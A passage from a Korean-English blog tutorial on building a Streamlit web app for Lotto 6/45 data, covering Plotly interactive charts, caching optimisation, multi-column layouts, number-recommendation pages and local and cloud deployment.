&lt;h4 data-ke-size=&quot;size20&quot;&gt;6️⃣   그리드 패턴 (Grid Pattern)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;7x7 그리드 히트맵 (7x7 Grid Heatmap)&lt;/li&gt;
&lt;li&gt;구역별 분석 (Zone Analysis)&lt;/li&gt;
&lt;li&gt;공간적 군집도 (Spatial Clustering)&lt;/li&gt;
&lt;li&gt;실전 활용 전략 (Practical Strategies)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;7️⃣  ️ 이미지 패턴 (Image Pattern)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복권 용지 이미지 (Lottery Ticket Images)&lt;/li&gt;
&lt;li&gt;회차별 시각화 (Round-by-Round Visualization)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;8️⃣   번호 테마 (Number Themes)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;재미 요소 (Fun Features)&lt;/li&gt;
&lt;li&gt;특별한 조합 (Special Combinations)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;9️⃣   데이터 업데이트 (Data Update)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;크롤링 (Web Crawling)&lt;/li&gt;
&lt;li&gt;텍스트 파싱 (Text Parsing)&lt;/li&gt;
&lt;li&gt;수동 입력 (Manual Input)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Plotly 인터랙티브 차트 (Plotly Interactive Charts)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  matplotlib &amp;rarr; Plotly 전환 (Migration)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1783&quot; data-origin-height=&quot;885&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7mWuB/dJMcafrMldN/mWxJrK7fLzuHKBlDJ6jrs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7mWuB/dJMcafrMldN/mWxJrK7fLzuHKBlDJ6jrs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7mWuB/dJMcafrMldN/mWxJrK7fLzuHKBlDJ6jrs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7mWuB%2FdJMcafrMldN%2FmWxJrK7fLzuHKBlDJ6jrs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1783&quot; height=&quot;885&quot; data-origin-width=&quot;1783&quot; data-origin-height=&quot;885&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plotly의 강력한 기능들:&lt;/b&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt; ️ 호버 효과 (Hover Tooltips)&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;import plotly.express as px

fig = px.bar(df, x='number', y='frequency',
             hover_data=['ratio', 'recent_50'])
st.plotly_chart(fig)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마우스를 올리면 &lt;b&gt;상세 정보&lt;/b&gt;가 즉시 표시됩니다!&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;  줌 &amp;amp; 팬 (Zoom &amp;amp; Pan)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;드래그로 확대/축소 (Drag to Zoom)&lt;/li&gt;
&lt;li&gt;더블 클릭으로 리셋 (Double-Click to Reset)&lt;/li&gt;
&lt;li&gt;특정 영역 집중 분석 (Focus on Specific Region)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;  클릭 이벤트 (Click Events)&lt;/h4&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;selected_points = plotly_events(fig)
if selected_points:
    number = selected_points[0]['x']
    st.write(f&quot;선택된 번호 (Selected): {number}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;  반응형 레이아웃 (Responsive Layout)&lt;/h4&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;st.plotly_chart(fig, use_container_width=True)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;화면 크기에 자동 맞춤!&lt;/b&gt; 모바일에서도 완벽 (Perfect on Mobile Too)!&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;  이미지 내보내기 (Export to PNG)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차트 위에 마우스를 올리면   버튼 &amp;rarr; 즉시 PNG 저장!&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 캐싱 최적화 (Caching Optimization)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;⚡ 성능 10배 향상 (10x Performance Boost)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;1035&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ezN7yf/dJMcahQFu5Y/i57K5GKKbyByEpekpT2Zbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ezN7yf/dJMcahQFu5Y/i57K5GKKbyByEpekpT2Zbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ezN7yf/dJMcahQFu5Y/i57K5GKKbyByEpekpT2Zbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FezN7yf%2FdJMcahQFu5Y%2Fi57K5GKKbyByEpekpT2Zbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;1035&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;1035&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 (Problem):&lt;/b&gt; 페이지를 새로고침할 때마다 데이터를 다시 로딩하고 모델을 재학습합니다.&lt;br /&gt;&amp;rarr; 15초 이상 소요!  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결책 (Solution):&lt;/b&gt; Streamlit의 강력한 캐싱 시스템!&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  @st.cache_data (데이터 캐싱)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;@st.cache_data(ttl=3600)  # 1시간 유효 (1 hour TTL)
def load_lotto_data():
    &quot;&quot;&quot;데이터 로딩 (Data Loading)&quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    loader.load_data()
    loader.preprocess()
    loader.extract_numbers()
    return loader&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;효과 (Effect):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 실행: 2.5초 (First Run)&lt;/li&gt;
&lt;li&gt;이후: &lt;b&gt;0.1초!&lt;/b&gt; (Cached: 0.1s!)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;25배 속도 향상 (25x Faster)!&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  @st.cache_resource (모델 캐싱)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;@st.cache_resource
def load_prediction_model(_loader):
    &quot;&quot;&quot;예측 모델 로딩 (Model Loading)&quot;&quot;&quot;
    model = LottoPredictionModel(_loader)
    model.train_all_patterns()  # 무거운 연산 (Heavy Computation)
    return model&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;효과 (Effect):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 실행: 8.0초 (First Run)&lt;/li&gt;
&lt;li&gt;이후: &lt;b&gt;0.2초!&lt;/b&gt; (Cached: 0.2s!)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;40배 속도 향상 (40x Faster)!&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  동적 캐시 무효화 (Dynamic Cache Invalidation)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;@st.cache_data(ttl=60)
def load_lotto_data(_file_mtime):
    &quot;&quot;&quot;파일 수정 시간 기반 캐싱 (File Modification Time-based Caching)&quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    # ... 로딩 로직
    return loader

# 파일 수정 시간 확인 (Check File Modification Time)
file_mtime = os.path.getmtime(&quot;../Data/645_251227.csv&quot;)
loader = load_lotto_data(file_mtime)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSV 파일이 업데이트되면 자동으로 캐시 갱신 (Auto-refresh when CSV updated)!&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  총 성능 비교 (Total Performance Comparison)&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;작업 (Operation)&lt;/th&gt;
&lt;th&gt;캐싱 전 (Before)&lt;/th&gt;
&lt;th&gt;캐싱 후 (After)&lt;/th&gt;
&lt;th&gt;개선율 (Improvement)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;데이터 로딩&lt;/td&gt;
&lt;td&gt;2.5s&lt;/td&gt;
&lt;td&gt;0.1s&lt;/td&gt;
&lt;td&gt;&amp;darr;96%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모델 학습&lt;/td&gt;
&lt;td&gt;8.0s&lt;/td&gt;
&lt;td&gt;0.2s&lt;/td&gt;
&lt;td&gt;&amp;darr;98%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;패턴 분석&lt;/td&gt;
&lt;td&gt;3.5s&lt;/td&gt;
&lt;td&gt;0.1s&lt;/td&gt;
&lt;td&gt;&amp;darr;97%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;차트 생성&lt;/td&gt;
&lt;td&gt;1.5s&lt;/td&gt;
&lt;td&gt;0.05s&lt;/td&gt;
&lt;td&gt;&amp;darr;97%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;총 시간&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;15.5s&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;0.45s&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;&amp;darr;97%&lt;/b&gt;  &lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 사용자 경험 개선 (User Experience Enhancement)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  2열/3열 레이아웃 (Multi-Column Layouts)&lt;/h3&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;col1, col2 = st.columns(2)

with col1:
    strategy = st.selectbox(&quot;전략 (Strategy)&quot;, strategies)

with col2:
    n_combinations = st.slider(&quot;개수 (Count)&quot;, 1, 10, 5)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;화면을 효율적으로 활용 (Efficient Screen Usage)!&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  시각적 번호 카드 (Visual Number Cards)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def display_number_card(numbers, index):
    &quot;&quot;&quot;번호 카드 표시 (Display Number Card)&quot;&quot;&quot;
    st.markdown(f&quot;### 추천 조합 #{index} (Recommendation #{index})&quot;)

    # 구간별 색상 (Color by Section)
    colors = []
    for num in numbers:
        if num &amp;lt;= 15:
            colors.append(' ')  # 저구간 (Low)
        elif num &amp;lt;= 30:
            colors.append(' ')  # 중구간 (Mid)
        else:
            colors.append(' ')  # 고구간 (High)

    # 번호 표시 (Display Numbers)
    cols = st.columns(6)
    for i, (num, color) in enumerate(zip(numbers, colors)):
        cols[i].markdown(f&quot;&amp;lt;div style='text-align:center; font-size:24px; \
                         font-weight:bold;'&amp;gt;{color} {num}&amp;lt;/div&amp;gt;&quot;,
                         unsafe_allow_html=True)

    # 통계 (Statistics)
    total = sum(numbers)
    odd_count = sum(1 for n in numbers if n % 2 == 1)
    consecutive = has_consecutive(numbers)

    st.caption(f&quot;합계 (Sum): {total} | 홀수 (Odd): {odd_count}/6 | \
                 연속 (Consecutive): {'있음 (Yes)' if consecutive else '없음 (No)'}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  진행 상태 표시 (Progress Indicators)&lt;/h3&gt;
&lt;pre class=&quot;subunit&quot;&gt;&lt;code&gt;progress_bar = st.progress(0)

for i, round_num in enumerate(range(601, 1206)):
    # 처리 작업 (Processing)
    analyze_round(round_num)

    # 진행률 업데이트 (Update Progress)
    progress = (i + 1) / 605
    progress_bar.progress(progress)

st.success(&quot;✅ 분석 완료! (Analysis Complete!)&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  도움말 툴팁 (Help Tooltips)&lt;/h3&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;st.selectbox(&quot;추천 전략 (Strategy)&quot;, strategies,
             help=&quot;하이브리드는 4가지 전략을 통합합니다. \
                   (Hybrid combines 4 strategies.)&quot;)

st.slider(&quot;추천 개수 (Count)&quot;, 1, 10, 5,
          help=&quot;생성할 번호 조합의 개수입니다. \
                (Number of combinations to generate.)&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  사용자 플로우 (User Interaction Flow)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d14tUe/dJMcad1KdtP/9qaJjwAAzCqW6hXPCOVK80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d14tUe/dJMcad1KdtP/9qaJjwAAzCqW6hXPCOVK80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d14tUe/dJMcad1KdtP/9qaJjwAAzCqW6hXPCOVK80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd14tUe%2FdJMcad1KdtP%2F9qaJjwAAzCqW6hXPCOVK80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1485&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6단계로 완성되는 추천 여정 (6-Step Recommendation Journey):&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;웹 앱 접속 &amp;rarr; &lt;code&gt;http://localhost:8501&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;페이지 선택 &amp;rarr; 사이드바 메뉴 (Sidebar Menu)&lt;/li&gt;
&lt;li&gt;전략 선택 &amp;rarr; 드롭다운 (Dropdown)&lt;/li&gt;
&lt;li&gt;파라미터 설정 &amp;rarr; 슬라이더 (Sliders)&lt;/li&gt;
&lt;li&gt;생성 버튼 클릭 &amp;rarr; &lt;code&gt;st.button()&lt;/code&gt; 트리거&lt;/li&gt;
&lt;li&gt;결과 확인 &amp;rarr; 시각적 카드 + 통계 (Visual Cards + Stats)&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 전체 코드 구조 (Complete Code Structure)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  파일 구성 (File Structure)&lt;/h3&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;src/
└── web_app.py (약 800줄, ~800 lines)
    ├── 캐싱 함수 (Caching Functions) (3개)
    ├── 헬퍼 함수 (Helper Functions) (5개)
    ├── 페이지 함수 (Page Functions) (9개)
    └── 메인 함수 (Main Function)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  핵심 구조 (Core Structure)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import streamlit as st
import sys
sys.path.append('.')

from data_loader import LottoDataLoader
from prediction_model import LottoPredictionModel
from recommendation_system import LottoRecommendationSystem

# ============================================
# 캐싱 함수 (Caching Functions)
# ============================================

@st.cache_data(ttl=60)
def load_lotto_data(_file_mtime):
    &quot;&quot;&quot;데이터 로딩 (캐싱) (Data Loading with Caching)&quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    loader.load_data()
    loader.preprocess()
    loader.extract_numbers()
    return loader

@st.cache_resource
def load_prediction_model(_loader):
    &quot;&quot;&quot;예측 모델 로딩 (캐싱) (Model Loading with Caching)&quot;&quot;&quot;
    model = LottoPredictionModel(_loader)
    model.train_all_patterns()
    return model

@st.cache_resource
def load_recommender(_model):
    &quot;&quot;&quot;추천 시스템 로딩 (캐싱) (Recommender Loading with Caching)&quot;&quot;&quot;
    return LottoRecommendationSystem(_model)

# ============================================
# 페이지 함수 (Page Functions)
# ============================================

def home_page(loader):
    &quot;&quot;&quot;  홈 페이지 (Home Page)&quot;&quot;&quot;
    st.title(&quot;  로또 645 데이터 분석&quot;)
    st.markdown(&quot;---&quot;)

    # 데이터 요약 (Data Summary)
    col1, col2, col3 = st.columns(3)
    with col1:
        st.metric(&quot;총 회차 (Total Rounds)&quot;,
                  f&quot;{len(loader.numbers_df):,}회&quot;)
    with col2:
        avg_prize = loader.df['1등 당첨액'].mean()
        st.metric(&quot;평균 당첨금 (Avg Prize)&quot;,
                  f&quot;{avg_prize/100000000:.1f}억원&quot;)
    with col3:
        # 최다 출현 번호 (Most Frequent Number)
        st.metric(&quot;최다 출현 (Top Number)&quot;, &quot;12번&quot;)

def data_exploration_page(loader, model):
    &quot;&quot;&quot;  데이터 탐색 페이지 (Data Exploration Page)&quot;&quot;&quot;
    st.title(&quot;  데이터 탐색&quot;)

    tab1, tab2, tab3 = st.tabs([
        &quot;  기본 통계 (Basic Stats)&quot;,
        &quot;  시계열 (Time Series)&quot;,
        &quot;  패턴 (Patterns)&quot;
    ])

    with tab1:
        # 번호 빈도 차트 (Number Frequency Chart)
        import plotly.express as px

        freq_data = get_frequency_data(loader)
        fig = px.bar(freq_data, x='number', y='count',
                     title='Number Frequency',
                     labels={'number': 'Number', 'count': 'Count'})
        st.plotly_chart(fig, use_container_width=True)

def recommendation_page(loader, model, recommender):
    &quot;&quot;&quot;  번호 추천 페이지 (Recommendation Page)&quot;&quot;&quot;
    st.title(&quot;  번호 추천&quot;)

    # 설정 (Settings)
    col1, col2 = st.columns(2)

    with col1:
        strategy = st.selectbox(&quot;추천 전략 (Strategy)&quot;, [
            &quot;⭐ 하이브리드 (Hybrid)&quot;,
            &quot;  점수 기반 (Score-based)&quot;,
            &quot;  확률 가중치 (Probability)&quot;,
            &quot;  패턴 기반 (Pattern-based)&quot;,
            &quot;  그리드 패턴 (Grid Pattern)&quot;,
            &quot;  연속 번호 (Consecutive)&quot;,
            &quot;  무작위 (Random)&quot;
        ])

    with col2:
        n_combinations = st.slider(&quot;추천 개수 (Count)&quot;, 1, 10, 5)

    # 생성 버튼 (Generate Button)
    if st.button(&quot;  번호 생성 (Generate Numbers)&quot;, type=&quot;primary&quot;):
        with st.spinner(&quot;생성 중... (Generating...)&quot;):
            # 전략별 추천 생성 (Generate by Strategy)
            if &quot;하이브리드 (Hybrid)&quot; in strategy:
                recommendations = recommender.generate_hybrid(n_combinations)
            elif &quot;점수 (Score)&quot; in strategy:
                recommendations = recommender.generate_by_score(n_combinations)
            elif &quot;확률 (Probability)&quot; in strategy:
                recommendations = recommender.generate_by_probability(n_combinations)
            elif &quot;패턴 (Pattern)&quot; in strategy:
                recommendations = recommender.generate_by_pattern(n_combinations)
            elif &quot;그리드 (Grid)&quot; in strategy:
                recommendations = recommender.generate_grid_based(n_combinations)
            elif &quot;연속 (Consecutive)&quot; in strategy:
                recommendations = recommender.generate_with_consecutive(n_combinations)
            else:  # 무작위 (Random)
                recommendations = recommender.generate_random(n_combinations)

        st.success(f&quot;✅ {n_combinations}개 조합 생성 완료! \
                     ({n_combinations} combinations generated!)&quot;)

        # 결과 표시 (Display Results)
        for i, combo in enumerate(recommendations, 1):
            display_number_card(combo, i)

# ... 나머지 6개 페이지 함수 (Remaining 6 Page Functions)

# ============================================
# 메인 함수 (Main Function)
# ============================================

def main():
    &quot;&quot;&quot;메인 함수 (Main Function)&quot;&quot;&quot;
    # 페이지 설정 (Page Configuration)
    st.set_page_config(
        page_title=&quot;로또 645 분석 (Lotto 645 Analysis)&quot;,
        page_icon=&quot; &quot;,
        layout=&quot;wide&quot;,
        initial_sidebar_state=&quot;expanded&quot;
    )

    # 데이터 로딩 (Data Loading)
    file_mtime = get_csv_file_mtime()
    loader = load_lotto_data(file_mtime)
    model = load_prediction_model(loader)
    recommender = load_recommender(model)

    # 사이드바 메뉴 (Sidebar Menu)
    st.sidebar.title(&quot;  메뉴 (Menu)&quot;)
    menu = st.sidebar.radio(
        &quot;페이지 선택 (Select Page)&quot;,
        [&quot;  홈&quot;, &quot;  데이터 탐색&quot;, &quot;  번호 추천&quot;, &quot;  번호 분석&quot;,
         &quot;  예측 모델&quot;, &quot;  그리드 패턴&quot;, &quot; ️ 이미지 패턴&quot;,
         &quot;  번호 테마&quot;, &quot;  데이터 업데이트&quot;]
    )

    # 페이지 라우팅 (Page Routing)
    if menu == &quot;  홈&quot;:
        home_page(loader)
    elif menu == &quot;  데이터 탐색&quot;:
        data_exploration_page(loader, model)
    elif menu == &quot;  번호 추천&quot;:
        recommendation_page(loader, model, recommender)
    # ... 나머지 페이지 (Remaining Pages)

    # 사이드바 정보 (Sidebar Info)
    st.sidebar.markdown(&quot;---&quot;)
    st.sidebar.info(f&quot;&quot;&quot;
      **데이터 정보 (Data Info)**
    - 총 회차 (Rounds): {len(loader.numbers_df):,}회
    - 기간 (Period): 2014.06.07 ~ 2026.01.03
    - 최종 업데이트 (Last Update): 1205회
    &quot;&quot;&quot;)

    # 경고 메시지 (Warning)
    st.sidebar.warning(&quot;⚠️ 로또는 독립 시행입니다. \
                        (Lottery draws are independent events.)&quot;)

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  레이아웃 컴포넌트 (Layout Components)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1657&quot; data-origin-height=&quot;1335&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lRDYz/dJMcai23hXB/Jshbf2Pb028bCpbdeU0Sqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lRDYz/dJMcai23hXB/Jshbf2Pb028bCpbdeU0Sqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lRDYz/dJMcai23hXB/Jshbf2Pb028bCpbdeU0Sqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlRDYz%2FdJMcai23hXB%2FJshbf2Pb028bCpbdeU0Sqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1657&quot; height=&quot;1335&quot; data-origin-width=&quot;1657&quot; data-origin-height=&quot;1335&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit이 제공하는 6가지 핵심 컴포넌트 (6 Core Components):&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;st.sidebar&lt;/b&gt;: 사이드바 (메뉴, 정보, 경고)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;st.columns&lt;/b&gt;: 2열/3열 레이아웃 (드롭다운, 슬라이더)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;st.tabs&lt;/b&gt;: 탭 구조 (통계, 차트, 테이블)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;st.metric&lt;/b&gt;: 메트릭 카드 (총 회차, 평균 당첨금)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;st.progress&lt;/b&gt;: 진행 바 (로딩 상태)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;st.button&lt;/b&gt;: 버튼 (생성, 분석)&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  실행 방법 (How to Run)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1️⃣ 로컬 실행 (Local Execution)&lt;/h3&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# 가상환경 활성화 (Activate Virtual Environment)
source venv/bin/activate

# 웹 앱 실행 (Run Web App)
cd src
streamlit run web_app.py&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;자동으로 브라우저가 열립니다!&lt;/b&gt; (Browser Opens Automatically!)&lt;br /&gt;&amp;rarr; &lt;code&gt;http://localhost:8501&lt;/code&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2️⃣ 자동 스크립트 (Auto Script)&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;./run_web.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단 한 줄로 끝! (Just One Command!)&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3️⃣ 클라우드 배포 (Cloud Deployment)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit Cloud&lt;/b&gt;에 배포하면 전 세계 누구나 접속 가능!&lt;br /&gt;(Anyone in the world can access it!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;https://lo645251227.streamlit.app/&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  핵심 배운 점 (Key Takeaways)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;✅ Streamlit 장점 (Streamlit Advantages)&lt;/h3&gt;
